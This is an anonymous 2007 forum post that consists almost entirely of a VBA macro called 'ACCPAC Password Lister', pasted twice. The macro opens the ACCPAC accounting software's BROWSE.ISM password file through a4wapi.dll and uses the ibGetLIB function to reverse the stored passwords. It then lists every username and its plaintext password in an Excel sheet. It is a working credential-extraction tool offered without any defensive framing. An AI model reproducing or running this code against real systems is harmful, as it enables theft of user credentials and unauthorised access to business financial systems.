Name: Anonymous 2007-03-23 19:02 ID:uhSmrCI7
' ACCPAC Password Lister
'
' passwords are stored using a reversible algorithm, and can be easily obtained by calling the relevant API functions
Declare Function isamOpen Lib "a4wapi.dll" (ByVal pszFile As Long, ByVal unkZero As Long, ByRef handle As Long) As Long
Declare Function isamClose Lib "a4wapi.dll" (ByVal handle As Long) As Long
Declare Function isamBrowse Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal unkZero As Long, ByVal unkOne As Long) As Long
Declare Function isamFetch Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal pBuffer1 As Long, ByVal pBuffer2 As Long, ByVal unkZero As Long) As Long
Declare Function isamEndBrowse Lib "a4wapi.dll" (ByVal handle As Long) As Long
Declare Function ibGetLIB Lib "a4wapi.dll" (ByVal size As Long, ByVal pIn As Long, ByVal pOut As Long) As Long
' XXX - change this to the location of BROWSE.ISM
Const PASSWORD_PATH = "c:\accpac\shared\site\browse"
Sub GetAccpacPasswords()
Dim ret As Long
Dim isamHandle As Long
' open password file
ret = isamOpen(ASCIIStrPtr(PASSWORD_PATH), 0, isamHandle)
If ret <> 0 Then
MsgBox "isamOpen failed with error code " + ret
Exit Sub
End If
' start browse
ret = isamBrowse(isamHandle, ASCIIStrPtr(" "), 0, 1)
If ret <> 0 Then
MsgBox "isamBrowse failed with error code " + ret
Exit Sub
End If
With Sheet1
.Cells.Clear
.Cells.NumberFormat = "@"
.[A1] = "USERNAME"
.[B1] = "PASSWORD"
.[A1:B1].Font.Bold = True
currentrow = 2
Do
' fetch result
Dim buffer1(0 To 1024) As Byte
Dim buffer2(0 To 1) As Long
Dim skey As Long, bufptr1 As Long, bufptr2 As Long
buffer1(0) = 80
buffer1(1) = 3
buffer1(6) = 32
buffer1(7) = 32
buffer1(8) = 32
buffer1(9) = 32
buffer1(10) = 32
buffer1(11) = 32
buffer1(12) = 32
buffer1(13) = 32
bufptr1 = VarPtr(buffer1(0))
bufptr2 = VarPtr(buffer2(0))
skey = VarPtr(buffer1(6))
ret = isamFetch(isamHandle, skey, bufptr1, bufptr2, 0)
.Cells(currentrow, 1) = Trim(BytesToString(8, 6, buffer1()))
' reverse password
If ret = 37 Then
Dim buffer3(0 To 63) As Byte
ret2 = ibGetLIB(64, VarPtr(buffer1(30)), VarPtr(buffer3(0)))
.Cells(currentrow, 2) = Trim(BytesToString(64, 0, buffer3()))
End If
currentrow = currentrow + 1
Loop While ret = 37
.Cells.EntireColumn.AutoFit
End With
' end browse
ret = isamEndBrowse(isamHandle)
' close password file
ret = isamClose(isamHandle)
End Sub
Function ASCIIStrPtr(str As String) As Long
ASCIIStrPtr = StrPtr(StrConv(str, vbFromUnicode))
End Function
Function BytesToString(size As Long, start As Long, arr() As Byte) As String
BytesToString = ""
For n = start To start + size - 1
BytesToString = BytesToString + Chr(arr(n))
Next n
End Function
'
' passwords are stored using a reversible algorithm, and can be easily obtained by calling the relevant API functions
Declare Function isamOpen Lib "a4wapi.dll" (ByVal pszFile As Long, ByVal unkZero As Long, ByRef handle As Long) As Long
Declare Function isamClose Lib "a4wapi.dll" (ByVal handle As Long) As Long
Declare Function isamBrowse Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal unkZero As Long, ByVal unkOne As Long) As Long
Declare Function isamFetch Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal pBuffer1 As Long, ByVal pBuffer2 As Long, ByVal unkZero As Long) As Long
Declare Function isamEndBrowse Lib "a4wapi.dll" (ByVal handle As Long) As Long
Declare Function ibGetLIB Lib "a4wapi.dll" (ByVal size As Long, ByVal pIn As Long, ByVal pOut As Long) As Long
' XXX - change this to the location of BROWSE.ISM
Const PASSWORD_PATH = "c:\accpac\shared\site\browse"
Sub GetAccpacPasswords()
Dim ret As Long
Dim isamHandle As Long
' open password file
ret = isamOpen(ASCIIStrPtr(PASSWORD_PATH), 0, isamHandle)
If ret <> 0 Then
MsgBox "isamOpen failed with error code " + ret
Exit Sub
End If
' start browse
ret = isamBrowse(isamHandle, ASCIIStrPtr(" "), 0, 1)
If ret <> 0 Then
MsgBox "isamBrowse failed with error code " + ret
Exit Sub
End If
With Sheet1
.Cells.Clear
.Cells.NumberFormat = "@"
.[A1] = "USERNAME"
.[B1] = "PASSWORD"
.[A1:B1].Font.Bold = True
currentrow = 2
Do
' fetch result
Dim buffer1(0 To 1024) As Byte
Dim buffer2(0 To 1) As Long
Dim skey As Long, bufptr1 As Long, bufptr2 As Long
buffer1(0) = 80
buffer1(1) = 3
buffer1(6) = 32
buffer1(7) = 32
buffer1(8) = 32
buffer1(9) = 32
buffer1(10) = 32
buffer1(11) = 32
buffer1(12) = 32
buffer1(13) = 32
bufptr1 = VarPtr(buffer1(0))
bufptr2 = VarPtr(buffer2(0))
skey = VarPtr(buffer1(6))
ret = isamFetch(isamHandle, skey, bufptr1, bufptr2, 0)
.Cells(currentrow, 1) = Trim(BytesToString(8, 6, buffer1()))
' reverse password
If ret = 37 Then
Dim buffer3(0 To 63) As Byte
ret2 = ibGetLIB(64, VarPtr(buffer1(30)), VarPtr(buffer3(0)))
.Cells(currentrow, 2) = Trim(BytesToString(64, 0, buffer3()))
End If
currentrow = currentrow + 1
Loop While ret = 37
.Cells.EntireColumn.AutoFit
End With
' end browse
ret = isamEndBrowse(isamHandle)
' close password file
ret = isamClose(isamHandle)
End Sub
Function ASCIIStrPtr(str As String) As Long
ASCIIStrPtr = StrPtr(StrConv(str, vbFromUnicode))
End Function
Function BytesToString(size As Long, start As Long, arr() As Byte) As String
BytesToString = ""
For n = start To start + size - 1
BytesToString = BytesToString + Chr(arr(n))
Next n
End Function